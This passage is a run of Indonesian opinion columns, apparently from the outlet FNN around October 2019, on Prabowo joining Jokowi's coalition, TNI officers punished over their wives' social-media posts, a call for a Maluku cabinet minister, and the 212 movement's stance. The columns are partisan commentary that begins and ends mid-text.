apa pula kepentingannya? Prabowo tampaknya telah mendapat peran baru. Dia menjadi semacam mediator mempertemukan kepentingan Megawati sebagai pemegang saham mayoritas pemerintah, dengan para partner pemegang saham lainnya. Safari politik itu juga sekaligus menjadi semacam pemberitahuan resmi kepada partai-partai pendukung pemerintah. Bahwa saat ini dia yang mengendalikan permainan. Bila tidak mencapai titik temu, maka seperti dikatakan Rocky, bisa terjadi kampret mengusir cebong. Menjadi Perdana Menteri “Kelihatannya Prabowo akan menjadi semacam Perdana Menteri. Menjalankan peran yang selama ini dimainkan Luhut Panjaitan. Bahkan lebih besar,” ujar Rocky. Rocky mendapat informasi Prabowo akan menempati posisi sebagai Menkopolhukam, sesuai dengan latar belakang dan keahliannya. Bukan posisi Wantimpres seperti yang selama ini diduga. Dengan posisinya tersebut, Prabowo juga akan mengambil alih peran Wapres Ma’ruf Amin, termasuk dalam diplomasi internasional. Peran itu selama ini dijalankan oleh Wapres Jusuf Kalla dan tidak mungkin dimainkan Ma’ruf. Hanya saja dalam catatan Rocky kemungkinan besar Prabowo akan menghadapi persoalan, terutama catatan lamanya yang berhubungan dengan kasus HAM. Bila itu bisa diatasi, maka dia akan menjadi tokoh nomor dua di republik ini setelah Jokowi. Besarnya peran Prabowo itu tak lepas dari kepentingan politik Ketua Umum PDIP Megawati. “ Dia merasa lebih nyaman, dan sudah paham luar dalam soal Prabowo,” ujar Rocky. Megawati ingin mengamankan kepentingan politik dan keberlangsungan kekuasaannya pasca Jokowi. Prabowo merupakan sekutu politik yang paling tepat dibandingkan ketua umum partai lain, termasuk Surya. Pertemuan Prabowo dengan para ketum parpol menjadi semacam negosiasi, bagi-bagi kapling di kabinet. Pos-pos penting dan strategis secara politik dan menghasilkan uang dikuasai oleh Megawati dan Prabowo. Sementara pos-pos kabinet yang menghabiskan uang, silakan dibagi-bagi ke parpol lainnya. Baku atur, cincai di antara para oligarki. Tinggal rakyat bingung sendiri. Baik pemilih Jokowi, maupun Prabowo cuma bisa melongo. Akal sehat mereka tidak bisa mencerna. Mereka masih gontok-gontokan. Para politisi junjungan mereka rangkul-rangkulan, bagi kapling rezeki dan kekuasaan. Tak perlu ada oposisi, sehingga mereka bebas tanpa kontrol, melakukan apa saja. “Beli nomor 1, kok dapatnya nomor 2. Promo Berlaku Selama 5 Tahun.” Begitulah meme menggambarkan suasana hati rakyat. Getir dan bikin kita hanya bisa tersenyum kecut. Demokrasi khas ala Indonesia. Ala Nusantara! Tanpa representasi parpol sebagai oposisi di DPR, rakyat akan berhadapan langsung dengan pemerintah. Hanya dengan PKS sebagai oposisi, perannya tidak signifikan. “Bila situasi ekonomi dan politik memburuk, sulit terhindarkan munculnya DPR jalanan. Anak-anak STM bisa kuasai kabinet,” terang Rocky. Itulah pentingnya rakyat yang tetap berakal sehat bergabung. Menjadi kekuatan kontrol dan kritis terhadap pemerintah. Apakah Rocky Gerung bersedia menjadi pemimpinnya? End

Nggak Butuh Prabowo, Nyampah-nyampahin Negeri Aja

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Urat malu para politisi terlalu tipis sehingga mudah putus. Prabowo Subianto mungkin salah satunya. Capres yang selalu kalah ini belakangan menghiasi layar kaca. Ia bersafari ke Istana sampai ke rumah ketua parpol. Publik menduga, tujuannya satu: kursi menteri “demi nusa dan bangsa”. Langkah Prabowo ini bisa dibilang tak tahu malu, karena Prabowo sudah jelas-jelas kalah dalam pemilu dan pilpres kemarin. Bisa-bisanya ia ikut berebut kursi menteri. Dengan dalih demi nusa dan bangsa pula. Pretttt. Padahal, akibat dari tindakan Prabowo ini justru akan buruk bagi nusa dan bangsa. Jika sampai Gerindra dan Prabowo berkoalisi dengan pemerintah, maka pemerintahan mendatang tanpa penyeimbang. Oposisi mati. Itu buruk bagi demokrasi. Di sisi lain, sikap Prabowo juga mengecewakan sebagian besar pendukungnya. Pantas saja, jika Rocky Gerung bertekad akan “road show” berkeliling Tanah Air untuk mengajak “kampret” –pendukung Prabowo-Sandi dalam pilpres kemarin-- beroposisi pada Ketua Umum Gerindra itu. Tokoh yang memopulerkan kata-kata ‘dungu” ini juga mengajak “cebong” –pendukung Jokowi-Makruf Amin—untuk menolak masuknya Prabowo ke dalam barisan pendukung pemerintah. “ Nggak butuh tokoh seperti dia, nyampah-nyampahin negeri aja,” tandasnya. Merapatnya Prabowo ke Jokowi mengundang banjir cemoohan dari pendukungnya. Prabowo bilang rekonsiliasi demi bangsa dan negara. Agar bangsa ini tidak lagi terbelah. Dia beranggapan bermesraan dengan penguasa, serta merta para pendukungnya bakal ikutan mesra. Seorang pensiunan wartawan, Balya Nur menulis, Prabowo terlalu pede. Percaya diri. Dia mengingatkan pendukung Jokowi dengan pendukung Prabowo sangat berbeda. Pendukung Jokowi adalah mereka yang habis-habis mendukung bekas Wali Kota Solo ini karena sosoknya. Pokoknya walau langit runtuh, Jokowi harga mati. Lain lagi dengan pendukung Prabowo. Mereka mendukung Ketua Umum Gerindra ini karena nilai. Bukan sosoknya. Kini, Prabowo sudah membuang nilai itu, sehingga ia sudah meninggalkan pendukungnya. Cara yang ia tempuh pun sangat menyakitkan dan juga memalukan. Prabowo lupa bahwa dirinya didukung oleh Ijtima Ulama. Ada nilai-nilai islami pada nilai program pada capres Prabowo-Sandi, kala itu. Kini, para pendukung Prabowo yang didorong oleh nilai itu sudah membaca, Prabowo jauh dari nilai-nilai tersebut. Selain membangun koalisi dengan pemerintah, Prabowo dan Gerindra sudah menunjukkan bahwa dirinya memang tidak pantas didukung umat Islam. Setidaknya ada dua parameter soal itu. Pertama, Gerindra menunjuk Rahayu Saraswati Djojohadikusumo untuk tampil membaca doa di acara resmi sidang paripurna MPR. Rahayu adalah keponakan Prabowo. Dia perempuan, selain itu juga nonmuslim. Untung Ketua MPR Zulkifli Hasan mengambil alih dengan membaca doa pendek. Gerindra protes dan keluar ruang sidang. Mereka menuduh Zulkifli Hasan intoleran. Padahal, Ketua MPR itu telah menyelamatkan Gerindra. Kalau sampai terjadi Rahayu membaca doa, sudah pasti akan ramai di medsos. Sejak zaman Bung Karno sampai zaman Jokowi, tidak ada pada acara resmi kenegaraan, pembacaan doa diserahkan kepada perempuan dan nonmuslim. Bahkan sejak zaman Soeharto pada masa dia tidak mesra dengan umat Islam juga tidak ada. Sampai zaman Jokowi yang dituduh sebagai era liberal juga nggak ada. Bukan mereka nggak paham soal toleransi. Mereka paham soal kepatutan. Mereka tidak mau menyinggung perasaan mayoritas. Itu baru namanya toleransi. Kedua, Gerindra berencana memperjuangkan RUU PKS atau Penghapusan Kekerasan Seksual. Itu bisa dicermati dari semangatnya Rahayu Saraswati memperjuangkan hal itu. Padahal para ulama yang tergabung dalam ijtima ulama menentang sebagian pasal pasal dari RUU PKS. Dari dua parameter ini saja jelas bahwa Prabowo telah membuat para pendukungnya menyesal telah memperjuangkan dirinya waktu pilpres yang lalu. Lebih dari itu, eks pendukung Prabowo juga malu. Malu karena pilihannya dulu tidak punya malu. Kembali ke soal rekonsiliasi. Prabowo menyebut bahwa langkah itu dilakukan agar tidak ada perpecahan anak bangsa hanyalah pemanis bibir saja. Sepanjang penguasa adil pada rakyatnya, rakyat tidak akan terbelah. Kalau rakyat merasa penguasa tidak adil, mereka tetap akan protes. Apalagi jika buzzer pro penguasa terus saja memanas-manasi. Presiden terpilih adalah milik rakyat bukan hanya milik relawan. Selama masih ada relawan pro penguasa, selama itu pula rakyat tidak merasa memiliki presiden. Dan akan terus terbelah. Rakyat di satu sisi, buzzer pemerintah di sisi lain. End

Jangan Cemen, Berlaku Adil-lah, Jenderal!

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Sanksi pencopotan jabatan Dandim 1417 Kendari Kolonel Kav Hendi Suhendi hanya karena postingan istrinya, Irma Purnama Dewi Nasution, soal penusukan Menko Polhukam Wiranto di Kabupaten Pandeglang, Banten, justru menyalahi Undang-Undang. Yakni, UU No 25 Tahun 2014 tentang Hukum Disiplin Militer. Menurut Kapendam XIV Hasanuddin Kolonel Inf Maskun Nafik, postingan istri Dandim Kendari itu dinilai TNI AD menjatuhkan martabat prajurit. Di mana letak pelanggaran Dandim? Cermati, postingan Irma Nasution itu hanya mengatakan, “Jangan cemen pak,…Kejadianmu tak sebanding dengan berjuta nyawa yg melayang”. Ungkapan hiperbola (makna berlebihan) ini jelas tanpa mempersonifikasi kepada individu tertentu (Wiranto). Tulisan “jangan cemen pak” itu bisa ditujukan kepada semua orang pria yang dipanggil Pak! ‘Pak’ ini tidak bisa diarahkan dan ditujukan secara khusus kepada Wiranto. Kalau ada yang merasa itu ditujukan kepada Wiranto, itu tafsiran bukan konteks bahasa. Dalam postingan kedua berupa sebuah nasehat untuk mengingatkan peristiwa yang pernah terjadi dialami mantan Ketua DPR Setya Novanto. Posting-an kedua tertulis “Teringat kasus pak Setnov,.. bersambung rupanya, pake pemeran pengganti’. Untuk postingan kedua itu, juga tidak ada kata yang menyebut nama Wiranto. Jika sampai ke peradilan umum, peluang untuk lolos dari tudingan ujaran kebencian sangatlah besar. Jaksa pun tidak akan gegabah menuduh Irma Nasution melanggar UU ITE. Jika “tindak pidana” Irma Nasution ini dikaitkan dengan jabatan suaminya sebagai Dandim Kendari, di mana letak pelanggaran disiplin militer Kolonel Hendi? Bukankah UU 25/2014 itu hanya berlaku bagi anggota TNI, bukan istri tentara (anggota Persit)? Meski secara yuridis formal belum diproses hingga vonis hakim, KSAD Jenderal TNI Andika Perkasa sudah menjatuhkan sanksi kepada Kolonel Hendi dan seorang anggotanya. Keduanya dihukum karena istri mereka mem-posting soal penusukan Wiranto di medsos. Boleh jadi, sebagai istri Dandim Kendari, Irma Nasution sering mendengar keluh-kesah para istri anggota Kodim Kendari terkait dengan kesulitan ekonomi yang dialami mereka. Mereka tidak berani bicara terbuka. Di sinilah Irma Nasution kemudian “bicara”. Jenderal Andika mengatakan pihaknya menindak suami mereka. Kolonel HS dan Serda Z disebut telah memenuhi pelanggaran terhadap Undang-Undang Nomor 25 Tahun 2014 yaitu Hukum Disiplin Militer. “Sehingga konsekuensinya kepada Kolonel HS tadi sudah saya tandatangani surat perintah melepas dari jabatannya dan akan ditambah dengan hukuman disiplin militer berupa penahanan selama 14 hari, penahanan ringan selama 14 hari,” ujarnya. “Begitu juga dengan Sersan Z, telah dilakukan surat perintah melepas dari jabatannya dan kemudian menjalani proses hukuman disiplin militer,” lanjut Jenderal Andika. Nasib yang sama juga menimpa anggota POMAU Lanud Muljono Surabaya. Peltu YNS dicopot dan ditahan karena istrinya mengunggah opini negatif terkait penusukan Menko Polhukam Wiranto. Kepala Dinas Penerangan TNI AU, Marsma Fajar Adriyanto mengatakan, Peltu YNS mendapat teguran keras, dicopot dari jabatan dan ditahan dalam rangka penyidikan oleh Pomau karena melanggar UU 25/2014 tentang Hukum Disiplin Militer. “Dalam urusan politik, posisi prajurit TNI AU dan keluarganya (Keluarga Besar Tentara-KBT) sudah jelas, netral. Oleh karena itu, KBT dilarang berkomentar, termasuk di media sosial yang berdampak pendiskreditan pemerintah maupun simbol-simbol negara,” ujarnya. Menurutnya, FS telah menyebarkan opini negatif terhadap pemerintah dan simbol negara dengan mengunggah komentar yang mengandung fitnah, tidak sopan, dan penuh kebencian kepada Menko Polhukam Wiranto yang terluka karena serangan senjata tajam di medsos. FS sudah dilaporkan ke Polres Sidoarjo karena melanggar UU Nomor 19 Tahun 2016 tentang perubahan atas UU Nomor 11 Tahun 2008 tentang ITE (Informasi dan Transaksi Elektronik) Pasal Penyebaran Kebencian dan Berita Bohong. “KBT yang kedapatan melanggar, dikenakan sanksi sesuai aturan yang berlaku,” katanya saat dihubungi iNews.id, Jumat (11/10/2019). Sebenarnya hak politik bagi para istri prajurit TNI sudah pernah dikeluarkan oleh Panglima TNI semasa Moeldoko. Mantan Panglima TNI yang kini menjadi Kepala Staf Presiden (KSP) itu telah mengeluarkan kebijakan baru dengan memberi izin dan mengembalikan hak politik bagi para istri prajurit TNI. Mereka bisa menggunakan haknya untuk memilih dan dipilih. Dalam Surat Telegram Panglima TNI Nomor: ST/1378/XI/ 2014 pada 24 November 2014 disebutkan, istri para prajurit TNI diperbolehkan untuk melakukan kegiatan politik sehingga nanti ada yang bisa menjadi bupati atau gubernur. ”Di dalam UU, yang dilarang berpolitik praktis itu prajurit TNI, sedangkan bagi istri prajurit TNI tidak ada larangan dan hal tersebut diperbolehkan,” tandas Pembina Utama Dharma Pertiwi ini pada acara HUT ke-51 Dharma Pertiwi di Balai Sudirman, Jakarta. Hal ini sudah masuk dalam agenda program sekaligus mempertegas dan memperjelas posisi istri prajurit TNI dalam politik. Tugas pokok Panglima TNI adalah tugas komando, yakni menyiapkan pasukannya agar siap tempur, menjaga dan meningkatkan kesejahteraan, serta menjaga dan memelihara kesejahteraan prajurit dan keluarganya. Rencana pemberian izin kepada istri prajurit TNI untuk bisa memenuhi hak-hak politiknya seperti dipilih dan memilih dalam pemilu sudah lama menjadi bahan kajian di Mabes TNI. Namun, rencana itu baru terwujud pada masa Panglima Jenderal Moeldoko. Pakar Hukum Prof. DR. Suteki SH MHum dalam tulisannya mencoba mencari tahu pasal mana yang mengatur bahwa apabila seorang istri anggota TNI melakukan pelanggaran hukum maka suaminya turut menanggung kesalahan. “Bahkan harus dihukum double, yaitu dicopot jabatannya, dikurung dalam sel 14 hari, serta belum lagi istrinya akan diajukan di peradilan umum. Kalau saya lihat misi UU Hukum Disiplin Militer adalah Pembinaan,” katanya. “Mengapa bukan aspek ini yang diutamakan melainkan terkesan “pembinasaan”,” lanjut Prof. Suteki yang menggugat Rektor Universitas Diponegoro (Undip) Semarang karena mengalami peristiwa serupa akibat dugaan mal administrasi. Pembianan oleh seorang atasan itu penting, sehingga tidak keburu menjatuhkan hukuman disiplin pegawai. “Saya dapat merasakan kepedihan anggota TNI itu, karena juga mengalami pencopotan jabatan karena diduga melakukan perbuatan melanggar disiplin pegawai.” Kasus seorang istri yang diduga melakukan pelanggaran hukum lantas berakibat dicopot dan dihukumnya suami yang anggota TNI itu. “Saya kira hukuman itu tidak adil dan cenderung menimbulkan rasa gelisah, resah pada anggota lainnya,” ungkap Prof. Suteki. Rasanya memang tak mungkin semua suami anggota TNI itu bisa mengawasi tindak-tanduk perilaku istrinya selama 24 jam. Para istri juga memiliki kelompok atau relasi dengan warga bangsa lain, apalagi sekarang eranya medsos. “UU Nomor 25 Tahun 2014 setahu saya hanya mengatur hukum disiplin yang melibatkan militer atasan dan bawahan. Bawahan yang dimaksud tidak termasuk istri dan anaknya,” ungkap Prof. Suteki. Sebagai Bawahan, seorang TNI itu juga manusia yang harus pula dilindungi hak-hak asasinya untuk diperlakukan adil dan tak sewenang-wenang. “Misalnya dihukum tanpa kesalahan yang dilakukannya secara langsung,” tegasnya. Menurut Prof. Suteki, sangat janggal bila ada prinsip tanggung renteng dalam penjatuhan hukuman terhadap suami TNI atas dugaan penggaran hukum yang dilakukan oleh istrinya. “Seandainya pun itu diatur dalam UU maka secara tegas saya nyatakan hal itu tidak adil dan cenderung terjadi pelanggaran atas HAM,” tegasnya. Jadi, mustahil suami anggota TNI dapat memastikan bahwa apa yang dilakukan oleh istrinya selalu dalam koridor hukum. Lalu, adilkah bila seorang anggota TNI dihukum disiplin dan kurungan ketika istrinya diduga melakukan pelanggaran hukum yang juga belum terbukti di depan pengadilan? Adilkah? Inikah yang disebut Pidana Tanggung Renteng padahal tidak ada unsur penyertaan suami TNI pun dalam dugaan pelanggaran yang dilakukan oleh istrinya. “Saya tidak setuju kesalahan jempol istri, suami kena hukuman administrasi. Jika tujuannya untuk pelajaran bagi suami istri lain, ya cukup pidanakan istri yng berbuat salah,” komentar Advokat Muhammad Sholeh, SH. Meski belum diproses secara hukum, sebanyak 52 pengacara yang tergabung dalam kantor pengacara Supriadi & Co di Kota Kendari siap mendampingi istri Kolonel Hendi itu. Opini publik sudah menunjukkan empati kepada Irma Nasution, Kolonel Hendi, dan kawan-kawan. Pada intinya, publik menghendaki TNI tetap pada jalurnya dan tidak ikut mempermainkan hukum. Jadi, berlaku adil-lah, jenderal. Jangan cemen! ***

Faizal Assegaf Layak Wakili Maluku & Reformis di Kabinet

Tidak hanya sampai disitu Pak Jokowi. Sudah 41 tahun lebih, tidak ada putra Maluku yang duduk di kabinet sebagai menteri di NKRI ini. Putra Maluku terakhir yang duduk di kabinet adalah Profesor Dokter Gerrit Augustinus Siwabessy sebagai Menteri Kesehatan di tahun 1978. Kalau boleh bertanya, ‘apa salah dan dosa kami orang Maluku dan Maluku Utara kepada NKRI ini Pak Jokowi? By Kisman Latumakulita Tinggal enam hari lagi. Tepatnya hari Minggu depan, tanggal 20 Oktober, entah jam berapa, Pak Jokowi akan dilantik menjadi presiden Indoneia. Dan ini adalah periode kedua Pak Jokowi menjabat sebagai presiden. Baru Pak Jokowi lah yang menyamai rekor yang dicapai oleh Jendral Kehormatan TNI Purnawirawan Soesilo Bambang Yudhoyono (SBY) sebagai presiden Indonesia di era reformasi. Menjawab pertanyan wartawan di Istana Negara Jumat lalu 11 Oktober 20, Pak Jokowi memastikan bakal ada putra Papua yang duduk di kabinet. Pak Jokowi juga memastikan anggota kabinet bakal segera diumumkan setelah dilantik sebagai presiden. Bisa saja di hari yang sama. Namun bisa juga diumumkan pada hari-hari berikutnya. Soal pengumuman dan penyusunan anggota kabinet adalah kewenangan mutlak Pak Jokowi sebagai presiden. Khusus untuk kewenagan presiden yang satu ini, dipastikan hampir semua komponen bangsa sudah mengerti dan memahaminya. Semua dapat menerimanya sebagai hak presiden yang tidak bisa diganggu-gugat oleh siapapun . Istilah kerennya, disebut dengan “Hak Proregatif Presiden”. Menjadi hak mutlak Pak Jokowi juga untuk memastikan bakal ada wakil dari Papua di kabinet. Namun bagimana dengan wakil dari Maluku dan Maluku Utara. Sekedar mengingatkan saja, bahwa dua daerah ini menjadi pemegang saham pendiri republik ini Pak Jokowi. Dua daerah ini juga adalah satu diantara sepuluh provinsi yang mendirikan republik ini tahun 1945. Jong Ambon juga ikut menandatangani deklarasi “Sumpah Pemuda” tahun 1928. Bersama-sama dengan Jong Java, Jong Sumatera, Jong Selebes, Jong Borneo, yang mendeklarasikan “Sumpah Pemuda” sebagai cikal-bakal kemerdekaan Negara Indonesia. Sedangkan Papua itu baru menjadi bagian dari Indonesia pada 58 tahun yang lalu Pak Jokowi Tidak hanya sampai disitu Pak Jokowi. Maluku dan Maluku Utara melalui Kesultanan Tidore juga menyumbangkan sepertiga wilayah kekuasaanya masuk ke dalam Indonesia. Jadi, sepertiga wilayah Negara Kesatuan Republik Indonesia (NKRI) sekarang ini adalah kontribusi dari kami orang Maluku dan Maluku Utara, (ketika dulu masih menjadi satu provinsi). Tidak hanya sampai disitu Pak Jokowi. Tanpa harus menepuk dada bahwa kita bernegara dengan Pancasila dan UUD 1945 hari ini adalah karya putra Maluku Johanes Latuharharhary. Hampir saja kita menjadi Negara Indonesia khilafah sejak bedriri tahun 1945. Kalau saja anak Maluku J. Latuharhary dan A.A. Maramis tidak mengancam Bung Karno dan Bung Hatta agar tujuh kata dalam Piagam Jakarta, yaitu “dengan kewajiban menjalankan syariat Islam bagi pemeluknya” dicoret. Ancamannya adalah Maluku dan Minahasa akan berpisah dari Indonesia. Dua daerah ini mau merdeka mendirikan negara sendiri, jika tujuh kata dalam Piagam Jakarta tidak dicoret dari Dasar Negara Pancasila. Pertanyaannya, apakah Maluku dan Maluku Utara masih bagian dari NKRI Pak Jokowi? Tidak hanya sampai disitu Pak Jokowi. Selian sebagai pendiri bangsa ini, sejak awal tahun 1800-san Kapitan Pattimura sudah tampil memimpin perlawanan kepada penjajah. Begitu juga dengan Sultan Nuku dari Kesultanan Tidore. Sultan Nuku yang terkenal dengan sebutan “Jou Barakati”, dana nama remajanya adalah Muhammad Amiruddin tersebut, telah memimpin pertempuran melawan penjajah sejak masih remaja (sebagai Kapita). Salah satu alasan utama Bung Karno memasukan Papua menjadi bagian dari NKRI, karena Papua adalah wilayah kekuasaan Sultan Nuku. Cerita ini bisa dibaca di risalah sidang-sidang Badan Usaha Persiapan Persiapan Kemerdekaan Indonesia (BPUPKI). Adalah Muhamad Yamin, salah satu anggota PPKI dan BPUPKI ketika itu yang paling ngotot memasukan Papua sebagai bagian dari wilayah Indonesia Tidak hanya sampai disitu Pak Jokowi. Papua baru secara resmi menjadi dari NKRI 58 tahun yang lalu. Sedangkan Maluku dan Maluku Utara ikut mendirikan NKRI ini sebagai pemegang saham utama. Pemegang saham pendiri. Bahkan Pancasila yang hari ini kita pakai sebagai dasar Negara adalah hasil revisi dari putra Maluku Johannes Latharhary. Sebelumnya adalah Piagam Jakarta Tidak hanya sampai disitu Pak Jokowi. Sudah 41 tahun lebih, tidak ada putra Maluku yang duduk di kabinet sebagai menteri di NKRI ini. Putra Maluku terakhir yang duduk di kabinet adalah Profesor Dokter Gerrit Augustinus Siwabessy sebagai Menteri Kesehatan di tahun 1978. Kalau boleh bertanya, ‘apa salah dan dosa kami orang Maluku dan Maluku Utara kepada NKRI ini Pak Jokowi? Bukan itu saja Pak Jokowi. Kabinet Kerja yang enam hari lagi akan berakhir ini, ada sedikitnya dua puluh lima menteri berasal dari suku Jawa. Tiga menteri lagi berasal dari suku Sunda. Tujuh orang menteri berasal Sumatera, termasuk Aceh. Dua orang menteri berasal dari suku Bugis-Makasar. Satu berasal dari suku Bali. Satu lagi berasal dari suku Papua. Pelaku Reformasi Jika Pak Jokowi berkenan meningikutkan putra Maluku sebagai anggota kabinet, maka menurut saya Faizal Assegaf lebih layak dan pantas. Faizal Assegaf, salah satu tokoh reformasi 1998 yang berasal dari Maluku. Tokoh reformasi asal Maluku lainnya adalah Wahab Talaohu dan Haris Rusly Moti Tidak ada putra Maluku yang lebih berkeringat di Gerakan Reformasi 1998, selain tiga orang ini. Mereka bertiga ketika itu tampil menjadi aktor utama yang berhadap-hadapan dengan moncong senjatanya Wiranto di semua sudut Jakarta dan Yogyakarta. Mereka bersama-sama dengan Adian Napitupulu, Mashinton Pasaribu, Fahri Hamzah, Rama Pratama, Andi Rahmat, Bernat dan lain-lain. Resikonya adalah ditangkap atau ditembak dengan laras senjata dari anak buahnya Wiranto ketika itu Berkali-kali Pak Jokowi mengatakan akan melibatkan anak-anak muda untuk duduk di kabinet sebagai menteri. Rencana tersebut merupakan kebijakan yang sangat tepat dan strategis. Bahkan bisa dibilang sangat keren dan berkelas. Karena perubahan peradaban di muka bumi ini tidak pernah dimpimpin oleh orang tua. Perubahan selalu saja dimotori oleh anak-anak muda sebagai aktor utama. Sampai di sudut itu, menurt hemat saya, Faizal Assegaf yang paling memenuhi syarat menjadi anggota kabinet Pak Jokowi untuk periode kedua. Selain dari kalangan muda, pelaku dan aktor utama gerakan reformasi 1998, Faizal Assegaf juga adalah putra Maluku, yang lahir di Negeri Geser, Kabupaten Seram Bagian Timur, dan besar di Namlea Pulau Buru. Pak Jokowi adalah presiden yang lahir sebagai buah dari Gerakan Reformasi 1998. Tokoh-tokoh lain dari Maluku dan Maluku Utara, tidak ada yang berkeringat di Gerakan Reformasi 1998. Malah, sebaliknya menentang Gerakan Reformasih 1998. Kebetulan saya menjadi saksi pelaku, maupun wartawan yang mencatat dan menyasiksikan peristiwa reformasi tersebut dari meni ke menit, jam ke jam dan hari ke hari. Pada rangkaian pilpres kemarin, Faizal Assegaf, bersama-sama dengan Lanyala Mahmud Mataliti, yang sekarang Ketua DPD RI ikut berkeringat memenangkan pasangan Jokowi-Ma’ruf Amin di daerah Jawa Timur sebagai tim pemenangan. Penulis adalah Wartawan Senior Asal Maluku & Maluku Utara

212 Melawan, Mengumumkan Perang dan Tak Akan Rekonsiliasi dengan Kezaliman

Oleh : Nasrudin Joha Jakarta, FNN - Keliru besar, jika Prabowo -setelah merapat ke Jokowi- mengumumkan tidak ada lagi oposisi. Salah mutlak, bagi rezim ketika mampu menekuk kekuatan oposan partai berarti telah aman untuk berbuat sesukanya, zalim terhadap rakyat. Pada acara munajat 212 di masjid Sunda Kelapa (13/10), dengan tegas Ust Slamet Ma'arif selaku ketua PA 212 menyatakan tidak akan pernah rekonsiliasi dengan kezaliman, tidak akan pernah rekonsiliasi dengan kecurangan, tidak akan pernah rekonsiliasi dengan ketidakadilan, tidak akan pernah rekonsiliasi dengan penindasan. Pernyataan ini, bukan mewakili pribadi Ust Slamet namun mewakili segenap elemen pergerakan khususnya gerakan Islam, yang bergerak di luar partai politik. Jelas, ini tamparan keras bagi rezim juga bagi kubu Prabowo. Pernyataan ini menegaskan, Prabowo tak memiliki secuilpun kendali pada elemen pergerakan Islam. Dukungan pergerakan Islam, ulama, habaib, kepada Prabowo saat Pilpres, bukanlah dukungan taklid buta sebagaimana dukungan Gerindra kepada ketua umumnya. Karena nilai perjuangan, semangat melawan kezaliman, perlawanan pada kecurangan dan penolakan para perilaku ketidakadilan menjadi nilai yang menyatukan umat dan melabuhkan dukungan politik pada Prabowo. Saat Prabowo menepi, keluar dari nilai yang diadopsi umat, kemudian meninggalkan nilai perjuangan dengan merapat dan berharap mendapat bagian kursi kekuasan, meninggalkan keengganan pada kecurangan seraya justru melegitimasi kecurangan dengan proyek rekonsiliasi abal-abal, menjadi sebab Prabowo berada pada satu kubu dengan rezim dan mengambil posisi berhadap-hadapan dengan umat. Rezim Jokowi akan mengkalkulasi nilai rekonsiliasi Prabowo sangat rendah, dimana rekonsiliasi ini tak meredam perlawanan umat. Karenanya, rezim khususnya PDIP akan sangat berhati-hati membagi kursi kepada Gerindra. Sebab, jika Gerindra begitu mudah mengkhianati rakyat yang mendukungnya, mengabaikan fatwa ulama yang membelanya, apa sulitnya bagi Prabowo kelak meninggalkan PDIP jika Gerindra membaca peluang untuk menguasai kekuasaan ? Kalkulasi ini, yang nampaknya akan membuat PDIP pelit membagi kursi, sebagaimana PDIP tdk ridlo posisi ketua MPR RI diberikan pada Muzani. PDIP lebih Happy bersama Golkar, karena Golkar dipandang lebih gentle sebagai mitra koalisi dan sejak awal telah berdarah mendukung Jokowi. Sementara itu, pertarungan politik ini belum akan berakhir. Gerakan 212 akan terus melawan, karena perjuangan 212 bukan atau tidak sekedar mengantarkan seseorang untuk duduk di tampuk kekuasan. Gerakan 212 diilhami oleh Ruh Islam, Ruh bela Islam, Ruh bela ulama. Karenanya, 212 akan terus berjuang hingga Islam bertengger pada tampuk kekuasan, hingga fatwa ulama menjadi penuntun jalannya roda kekuasan, hingga keadilan dan kesejahteraan benar-benar wujud dengan diterapkannya hukum Islam. Penangkapan Sekjen PA 212 Ust Bernard Abdul Jabar adalah penghinaan terhadap gerakan 212. Tindakan ini, justru menyulut api perlawanan dan meningkatkan Ghiroh semangat Islam. Selamat datang di era baru pertarungan, selamat datang pertarungan gerakan politik kepartaian melawan gerakan politik keumatan. Selamat datang, di era pertarungan politik pencitraan, politik kekuasaan, melawan politik kejujuran, politik keumatan yang membawa misi melayani kepentingan umat berdasarkan nilai-nilai wahyu ilahi. [].

Jokowi di Negara Hukum Yang Compang-Camping

Tak terasa putaran waktu pelaksanaan Undang-Undang ITE telah membawa negara hukum mengingkari moralitasnya sendiri. Nurani dan moralitas negara hukum demokratis tersingkir jauh. Negara hukum demokratis menjadi sangat angkuh. Terlalu kuat membentengi jalan pulang ke moralitas intinya. Oleh Dr. Margarito Kamis Jakarta, FNN - Pak Jokowi telah menulis jejak kepresidenannya dalam memimpin pelaksanaan Undang-Undang Dasar, Undang-Undang dan Peraturan. Sebentar lagi Pak Jokowi akan kembali menulis jejak baru dalam memimpin pelaksanaan Undang-Uundang Dasar, Undang-Undang dan Peraturan. Pak Jokowi akan menulisnya disepanjang garis pemerintahannya lima tahun yang akan datang. Semua yang telah ditulisnya sepanjang hampir lima tahun ini tersaji begitu telanjang. Semuanya dapat dilihat, dan dinilai. Juga dapat diberi warna setegas dan sejelas mungkin. Bagaimana Pak Jokowi melihat dan menilai? Bila mungkin, semua pelaksanan hukum yang telah ditulisnya sendiri, itu satu perkara. Itu juga perkara Pak Jokowi sendiri. Pentingkah Pak Jokowi mengetahui, menilai dan menimbang semua yang telah ditulis itu? Mungkin ya. Apakah penilaian itu membawa dirinya menyangkal kenyataan yang menyajikan pada level yang cukup terang. Bahwa tampilan pelaksanaan hukum selama hampir satu periode sejauh ini cukup buruk? Pak Jokowi bisa menyanggahnya. Andai Pak Jokowi menyanggah kenyataan saat ini, Pak Jokowi berpapasan dalam penilaian yang berbeda begitu dalam, antara dirinya dengan rakyat. Jelas tidak memungkinkan keduanya bertemu pada titik yang sama. Pak Jokowi, tidak mungkin diminta mengambil langkah manis mengubah, atau mewarnai pelaksanaan hukum dimasa akan datang dengan menyisipkan moralitas ke sisi-sisi intinya. Berubah Total Pak Jokowi, entah mengeluh atau justru mengungkapkan fakta tak terbantahkan. Telah menyatakan dalam sebuah kesempatan belum lama ini, bahwa perusahaan-perusahaan yang keluar dari Cina, tidak masuk ke Indonesia. Mereka pergi ke negara lain, sepperti Vietnam, Malaysia dan lainnya. Pada negeri-negeri itulah mereka menaruh uangnya. Sayangnya, Indonesia tak dilirik oleh mereka. Padahal Indonesia sekarang ini, dengan Pak Jokowi sebagai pemimpinnya, sangat membutuhkan uang. Apakah Indonesia sedang menerima atau sedang dihukum oleh kapitalis-kapitalis rakus tersebut? Sebagi akibat dari ketidakonsistenan menerapkan hukum di bidang investasi? Apakah ketidakkonsistenan itu menghasilkan birokrasi korup. Boleh jadi iya. Kapitalis disepanjang garis politik hukum barat, memang tak mengenal rugi. Mereka hanya dan harus terus untung. Untuk urusan untung, kelompok penghisap paling mematikan ini memang selalu begitu. Mereka meminta dengan cara yang khas kepada semua pemerintah untuk menciptakan birokrasi yang menguntungkan mereka. Titik. Begitulah kelakuakan mereka di semua negara. Bila keinginannya tidak dipenuhi, 